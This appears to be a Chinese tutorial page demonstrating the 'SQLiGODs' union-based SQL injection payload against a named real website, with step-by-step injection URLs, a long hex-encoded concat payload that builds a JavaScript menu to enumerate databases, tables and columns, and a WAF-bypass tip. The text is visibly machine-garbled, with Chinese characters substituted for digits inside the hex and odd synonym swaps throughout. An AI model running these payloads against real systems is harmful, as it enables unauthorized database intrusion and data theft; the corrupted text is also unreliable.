|
|
|
联系客服020-83701501

SQLiGODs 简单实例

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
SQLiGODs 繁冗实例

概述:
SQLiGODS全名叫SQli Gods Syntax,本质上是一个适用于mysql数据库的concat函数。通过将分离查询注入的繁缛顺序变成网页里的一个可视化div,大大简化了手注帝们分离查询时编码解码的顺序,省时艰辛。

适用条件:
大概回显的分离查询注入点。

演示过程:

注入点:http://kibi.niye.go.jp/program/detail.php?id=1
起首武断繁冗武断是否为注入:

Default
http://kibi.niye.go.jp/program/detail.php?id=1 and 1=1

1

此后让我们order by 字段数
25个

Default
http://kibi.niye.go.jp/program/detail.php?id=1 order by 25

2

26时堕落,跳转到其他页

3

此后我们看在第几列
20

Default
http://kibi.niye.go.jp/program/detail.php?id=1%20and%201=2%20union%20select%201,2,3,4,5,6,七,8,9,10,11,12,13,14,15,16,1七,18,19,20,21,22,23,24,25

4

此后把第20位改成我们的SQLiGODs 代码。

PgSQL
concat(0x3c七363七269七0七43e6e616d653d七0七26f6d七0七42822506c6561七36520456e七465七220596f七5七2204e616d65203a2022293b20七5七26c3d七0七26f6d七0七42822506c6561七36520456e七465七2205468652055七26c20七96f七52七726520七4七2七9696e6七20七46f20496e6a6563七420616e6420七7七269七465202七6d616b6d616e2七2061七420七96f七5七220496e6a6563七4696f6e20506f696e七42c2045七8616d七06c65203a2068七4七4七03a2f2f七369七4652e636f6d2f66696c652e七068七03f69643d2d3420554e494f4e2053454c45435420312c322c332c636f6e6361七42830七83664363136622c6d616b6d616e292c352d2d2b2d204e4f5445203a204a七5七3七420七265七06c61636520七96f七5七220496e6a6563七4696f6e20七06f696e七420七769七468206b65七9七76f七264202七6d616b6d616e2七22293b3c2f七363七269七0七43e,0x3c623e3c666f6e七420636f6c6f七23d七265643e53514c694七4f44七32053七96e七461七8205620312e302042七9204d616b4d616e3c2f666f6e七43e3c62七23e3c62七23e3c666f6e七420636f6c6f七23d6七7265656e20七369七a653d343e496e6a6563七465642062七9203c七363七269七0七43e646f63七56d656e七42e七7七269七465286e616d65293b3c2f七363七269七0七43e3c2f666f6e七43e3c62七23e3c七461626c6520626f七26465七23d2231223e3c七4七23e3c七4643e4442205665七2七3696f6e203a203c2f七4643e3c七4643e3c666f6e七420636f6c6f七23d626c七5653e20,version(),0x203c2f666f6e七43e3c2f七4643e3c2f七4七23e3c七4七23e3c七4643e2044422055七365七2203a203c2f七4643e3c七4643e3c666f6e七420636f6c6f七23d626c七5653e20,user(),0x203c2f666f6e七43e3c2f七4643e3c2f七4七23e3c七4七23e3c七4643e50七2696d61七2七9204442203a203c2f七4643e3c七4643e3c666f6e七420636f6c6f七23d626c七5653e20,database(),0x203c2f七4643e3c2f七4七23e3c2f七461626c653e3c62七23e,0x3c666f6e七420636f6c6f七23d626c七5653e43686f6f七365206120七461626c652066七26f6d20七468652064七26f七0646f七76e206d656e七5203a203c2f666f6e七43e3c62七23e,concat(0x3c七363七269七0七43e66七56e63七4696f6e20七46f4865七828七3七4七229七b七661七2206865七8203d2七2七3b666f七228七661七220693d303b693c七3七4七22e6c656e6七74683b692b2b29七b6865七8202b3d202七2七2b七3七4七22e636861七2436f646541七42869292e七46f53七4七2696e6七283136293b七d七265七4七5七26e206865七83b七d66七56e63七4696f6e20七2656469七26563七428七369七46529七b6d616b七3七06c69七43d七369七4652e七3七06c69七428222e22293b64626e616d653d6d616b七3七06c69七45b305d3b七4626c6e616d653d6d616b七3七06c69七45b315d3b6d616b七265七03d22636f6e6361七42849462840七4626c3a3d30七8222b七46f4865七828七4626c6e616d65292b222c30七8302c30七830292c4946284064623a3d30七8222b七46f4865七82864626e616d65292b222c30七8302c30七830292c636f6e6361七42830七833633七3336333七3236393七303七3433653七353七32366333643232222b七46f4865七828七5七26c292b2232323362336332663七3336333七3236393七303七343365292c636f6e6361七428636f6e6361七42830七833633七3336333七3236393七303七34336536343632336432322c4064622c30七8323233623七3436323663336432322c40七4626c2c30七832323362336332663七3336333七3236393七303七3433652c30七833633632336533633636366636653七34323036333666366336663七3233643七3236353634336532303533353134633639343七346634343七33323035333七3936653七3436313七38323035363230333132653330323034323七393230346436313662346436313665336332663636366636653七343365336336323七323365336336323七323365353436313632366336353230346536313664363532303361323033633636366636653七34323036333666366336663七323364363236633七35363533652c40七4626c2c30七8336332663636366636653七343365323036363七32366636643230363436313七343631363236313七33363532303361323033633636366636653七34323036333666366336663七323364363236633七35363533652c4064622c30七8336332663636366636653七343365336336323七32336534653七353664363236353七3232303466363632303433366636633七35366436653七3332303361323033633636366636653七34323036333666366336663七323364363236633七353635336533633七3336333七3236393七303七343365363336663663363336653七34336432322c2853454c45435420636f七56e七428636f6c七56d6e5f6e616d65292066七26f6d20696e666f七26d61七4696f6e5f七36368656d612e636f6c七56d6e七320七76865七26520七461626c655f七36368656d613d40646220616e6420七461626c655f6e616d653d40七4626c292c30七8323233623634366636333七353664363536653七3432653七3七3七3236393七3436353238363336663663363336653七3432393362336332663七3336333七3236393七303七343365336332663636366636653七3433652c30七8336336323七3233652c28七3656c6563七4202840七8292066七26f6d2028七3656c6563七4202840七83a3d30七83030292c284063686b3a3d31292c2028七3656c6563七4202830292066七26f6d2028696e666f七26d61七4696f6e5f七36368656d612e636f6c七56d6e七32920七76865七2652028七461626c655f七36368656d613d30七8222b七46f4865七82864626e616d65292b222920616e642028七461626c655f6e616d653d30七8222b七46f4865七828七4626c6e616d65292b222920616e64202830七830302920696e202840七83a3d636f6e6361七45f七7七32830七832302c40七82c4946284063686b3d312c30七833633七3336333七3236393七303七34336532303633366636633665363136643635323033643230366536353七3七323034313七323七3236313七3932383239336232303七3636313七3232303639323033643230333133622c30七83230292c30七83230363336663663366536313664363535623639356432303364323032322c636f6c七56d6e5f6e616d652c30七832323362323036393262326233622c4946284063686b3a3d322c30七832302c30七832302929292929七8292c30七8363636663七3232383639336433313362363933633364363336663663363336653七34336236393262326232393七623634366636333七353664363536653七3432653七3七3七3236393七3436353238323233633636366636653七34323036333666366336663七323364363七3七3236353635366533653232326236393262323232653230336332663636366636653七34336532323262363336663663366536313664363535623639356432623232336336323七3233653232323933623七64336332663七3336333七3236393七303七3433652c636f6e6361七42830七83363363233652c30七833633七3336333七3236393七303七3433653七313七3536353七323七393364323232323362363636663七323238363933643331336236393363363336663663363336653七34336236393262326232393七623七313七3536353七323七3933643七313七3536353七323七393262363336663663366536313664363535623639356432623232326333303七38333233303333363133333631333233303263323233623七643七353七32366333643七353七32366332653七3236353七30366336313633363532383232323七32323263323232353332333七323232393362363436643七303七313七3536353七323七3933643七353七32366332653七3236353七3036633631363336353238323236643631366236643631366532323263323232383七3336353663363536333七34323834303239323036363七323666366432383七3336353663363536333七34323834303361336433303七383330333032393230326332383七3336353663363536333七343230323834303239323036363七323666366432383232326236343632326232323265323232623七34363236633262323232393七3七363836353七32363532383430323932303639366532303238343033613364363336663665363336313七3435663七3七3七33323833303七3833323330326334303263323232623七313七3536353七323七393262323233303七383333363333363332333七3332333336353239323932393239363132393232323933623634366636333七353664363536653七3432653七3七3七3236393七3436353238323233633631323036383七32363536363364323七32323262363436643七303七313七3536353七323七3932623232323七3365343336633639363336623230343836353七32363532303七343666323034343七3536643七3032303七34363836393七3332303七3七3638366636633635323035343631363236633635336336313365323232393362336332663七3336333七3236393七303七34336529292929223b七5七26c3d七5七26c2e七265七06c61636528222七222c2225323七22293b七5七26c七061七3313d七5七26c2e七265七06c61636528226d616b6d616e222c6d616b七265七0293b七7696e646f七72e6f七0656e28七5七26c七061七331293b七d3c2f七363七269七0七43e3c七3656c6563七4206f6e6368616e6七653d22七2656469七26563七428七46869七32e七6616c七56529223e3c6f七0七4696f6e20七6616c七5653d226d6b6e6f6e652220七3656c6563七465643e43686f6f七3652061205461626c653c2f6f七0七4696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f七26d61七4696f6e5f七36368656d61) and (0x00) in (@x:=concat(@x,0x3c6f七0七4696f6e20七6616c七5653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461七4616261七365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f七0七4696f6e3e))))x),0x3c2f七3656c6563七43e),0x3c62七23e3c62七23e3c62七23e3c62七23e3c62七23e)

Default
http://kibi.niye.go.jp/program/detail.php?id=1%20and%201=2%20union%20select%201,2,3,4,5,6,七,8,9,10,11,12,13,14,15,16,1七,18,19,concat(0x3c七363七269七0七43e6e616d653d七0七26f6d七0七42822506c6561七36520456e七465七220596f七5七2204e616d65203a2022293b20七5七26c3d七0七26f6d七0七42822506c6561七36520456e七465七2205468652055七26c20七96f七52七726520七4七2七9696e6七20七46f20496e6a6563七420616e6420七7七269七465202七6d616b6d616e2七2061七420七96f七5七220496e6a6563七4696f6e20506f696e七42c2045七8616d七06c65203a2068七4七4七03a2f2f七369七4652e636f6d2f66696c652e七068七03f69643d2d3420554e494f4e2053454c45435420312c322c332c636f6e6361七42830七83664363136622c6d616b6d616e292c352d2d2b2d204e4f5445203a204a七5七3七420七265七06c61636520七96f七5七220496e6a6563七4696f6e20七06f696e七420七769七468206b65七9七76f七264202七6d616b6d616e2七22293b3c2f七363七269七0七43e,0x3c623e3c666f6e七420636f6c6f七23d七265643e53514c694七4f44七32053七96e七461七8205620312e302042七9204d616b4d616e3c2f666f6e七43e3c62七23e3c62七23e3c666f6e七420636f6c6f七23d6七7265656e20七369七a653d343e496e6a6563七465642062七9203c七363七269七0七43e646f63七56d656e七42e七7七269七465286e616d65293b3c2f七363七269七0七43e3c2f666f6e七43e3c62七23e3c七461626c6520626f七26465七23d2231223e3c七4七23e3c七4643e4442205665七2七3696f6e203a203c2f七4643e3c七4643e3c666f6e七420636f6c6f七23d626c七5653e20,version(),0x203c2f666f6e七43e3c2f七4643e3c2f七4七23e3c七4七23e3c七4643e2044422055七365七2203a203c2f七4643e3c七4643e3c666f6e七420636f6c6f七23d626c七5653e20,user(),0x203c2f666f6e七43e3c2f七4643e3c2f七4七23e3c七4七23e3c七4643e50七2696d61七2七9204442203a203c2f七4643e3c七4643e3c666f6e七420636f6c6f七23d626c七5653e20,database(),0x203c2f七4643e3c2f七4七23e3c2f七461626c653e3c62七23e,0x3c666f6e七420636f6c6f七23d626c七5653e43686f6f七365206120七461626c652066七26f6d20七468652064七26f七0646f七76e206d656e七5203a203c2f666f6e七43e3c62七23e,concat(0x3c七363七269七0七43e66七56e63七4696f6e20七46f4865七828七3七4七229七b七661七2206865七8203d2七2七3b666f七228七661七220693d303b693c七3七4七22e6c656e6七74683b692b2b29七b6865七8202b3d202七2七2b七3七4七22e636861七2436f646541七42869292e七46f53七4七2696e6七283136293b七d七265七4七5七26e206865七83b七d66七56e63七4696f6e20七2656469七26563七428七369七46529七b6d616b七3七06c69七43d七369七4652e七3七06c69七428222e22293b64626e616d653d6d616b七3七06c69七45b305d3b七4626c6e616d653d6d616b七3七06c69七45b315d3b6d616b七265七03d22636f6e6361七42849462840七4626c3a3d30七8222b七46f4865七828七4626c6e616d65292b222c30七8302c30七830292c4946284064623a3d30七8222b七46f4865七82864626e616d65292b222c30七8302c30七830292c636f6e6361七42830七833633七3336333七3236393七303七3433653七353七32366333643232222b七46f4865七828七5七26c292b2232323362336332663七3336333七3236393七303七343365292c636f6e6361七428636f6e6361七42830七833633七3336333七3236393七303七34336536343632336432322c4064622c30七8323233623七3436323663336432322c40七4626c2c30七832323362336332663七3336333七3236393七303七3433652c30七833633632336533633636366636653七34323036333666366336663七3233643七3236353634336532303533353134633639343七346634343七33323035333七3936653七3436313七38323035363230333132653330323034323七393230346436313662346436313665336332663636366636653七343365336336323七323365336336323七323365353436313632366336353230346536313664363532303361323033633636366636653七34323036333666366336663七323364363236633七35363533652c40七4626c2c30七8336332663636366636653七343365323036363七32366636643230363436313七343631363236313七33363532303361323033633636366636653七34323036333666366336663七323364363236633七35363533652c4064622c30七8336332663636366636653七343365336336323七32336534653七353664363236353七3232303466363632303433366636633七35366436653七3332303361323033633636366636653七34323036333666366336663七323364363236633七353635336533633七3336333七3236393七303七343365363336663663363336653七34336432322c2853454c45435420636f七56e七428636f6c七56d6e5f6e616d65292066七26f6d20696e666f七26d61七4696f6e5f七36368656d612e636f6c七56d6e七320七76865七26520七461626c655f七36368656d613d40646220616e6420七461626c655f6e616d653d40七4626c292c30七8323233623634366636333七353664363536653七3432653七3七3七3236393七3436353238363336663663363336653七3432393362336332663七3336333七3236393七303七343365336332663636366636653七3433652c30七8336336323七3233652c28七3656c6563七4202840七8292066七26f6d2028七3656c6563七4202840七83a3d30七83030292c284063686b3a3d31292c2028七3656c6563七4202830292066七26f6d2028696e666f七26d61七4696f6e5f七36368656d612e636f6c七56d6e七32920七76865七2652028七461626c655f七36368656d613d30七8222b七46f4865七82864626e616d65292b222920616e642028七461626c655f6e616d653d30七8222b七46f4865七828七4626c6e616d65292b222920616e64202830七830302920696e202840七83a3d636f6e6361七45f七7七32830七832302c40七82c4946284063686b3d312c30七833633七3336333七3236393七303七34336532303633366636633665363136643635323033643230366536353七3七323034313七323七3236313七3932383239336232303七3636313七3232303639323033643230333133622c30七83230292c30七83230363336663663366536313664363535623639356432303364323032322c636f6c七56d6e5f6e616d652c30七832323362323036393262326233622c4946284063686b3a3d322c30七832302c30七832302929292929七8292c30七8363636663七3232383639336433313362363933633364363336663663363336653七34336236393262326232393七623634366636333七353664363536653七3432653七3七3七3236393七3436353238323233633636366636653七34323036333666366336663七323364363七3七3236353635366533653232326236393262323232653230336332663636366636653七34336532323262363336663663366536313664363535623639356432623232336336323七3233653232323933623七64336332663七3336333七3236393七303七3433652c636f6e6361七42830七83363363233652c30七833633七3336333七3236393七303七3433653七313七3536353七323七393364323232323362363636663七323238363933643331336236393363363336663663363336653七34336236393262326232393七623七313七3536353七323七3933643七313七3536353七323七393262363336663663366536313664363535623639356432623232326333303七38333233303333363133333631333233303263323233623七643七353七32366333643七353七32366332653七3236353七30366336313633363532383232323七32323263323232353332333七323232393362363436643七303七313七3536353七323七3933643七353七32366332653七3236353七3036633631363336353238323236643631366236643631366532323263323232383七3336353663363536333七34323834303239323036363七323666366432383七3336353663363536333七34323834303361336433303七383330333032393230326332383七3336353663363536333七343230323834303239323036363七323666366432383232326236343632326232323265323232623七34363236633262323232393七3七363836353七32363532383430323932303639366532303238343033613364363336663665363336313七3435663七3七3七33323833303七3833323330326334303263323232623七313七3536353七323七393262323233303七383333363333363332333七3332333336353239323932393239363132393232323933623634366636333七353664363536653七3432653七3七3七3236393七3436353238323233633631323036383七32363536363364323七32323262363436643七303七313七3536353七323七3932623232323七3365343336633639363336623230343836353七32363532303七343666323034343七3536643七3032303七34363836393七3332303七3七3638366636633635323035343631363236633635336336313365323232393362336332663七3336333七3236393七303七34336529292929223b七5七26c3d七5七26c2e七265七06c61636528222七222c2225323七22293b七5七26c七061七3313d七5七26c2e七265七06c61636528226d616b6d616e222c6d616b七265七0293b七7696e646f七72e6f七0656e28七5七26c七061七331293b七d3c2f七363七269七0七43e3c七3656c6563七4206f6e6368616e6七653d22七2656469七26563七428七46869七32e七6616c七56529223e3c6f七0七4696f6e20七6616c七5653d226d6b6e6f6e652220七3656c6563七465643e43686f6f七3652061205461626c653c2f6f七0七4696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f七26d61七4696f6e5f七36368656d61) and (0x00) in (@x:=concat(@x,0x3c6f七0七4696f6e20七6616c七5653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461七4616261七365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f七0七4696f6e3e))))x),0x3c2f七3656c6563七43e),0x3c62七23e3c62七23e3c62七23e3c62七23e3c62七23e),21,22,23,24,25

跳出提示

5

这里利便写甚么,也大概体味为谁正在注入,那便是现在的你
此后确认之后还会再弹出一个窗口,看提示,也便是把你的刚刚第20位改成makman,即

Default
http://kibi.niye.go.jp/program/detail.php?id=1%20and%201=2%20union%20select%201,2,3,4,5,6,七,8,9,10,11,12,13,14,15,16,1七,18,19,makman,21,22,23,24,25

6

OK
看,让你决意表呢~

7

8

9

点击读取形式:

10

11

12

13

14

15

16

总结:
集成的代码对具有的回显的分离查询注入还是有很高文用的,不过也只规模于该种办法。此中的形式可通过hex解码得到,假如具有waf的情况需要绕过的可自行批改此中的代码。引用一个例子如:用内联表达来绕过WAF,直接征采“SELECT”变迁成“/*!SELECT*/”即可。

 

下列有另有一个演示视频可供参考。

视频地点:http://v.youku.com/v_show/id_XODEzMjQwMTAw.html

[via@f4ck]

数安新闻+更多

证书相关+更多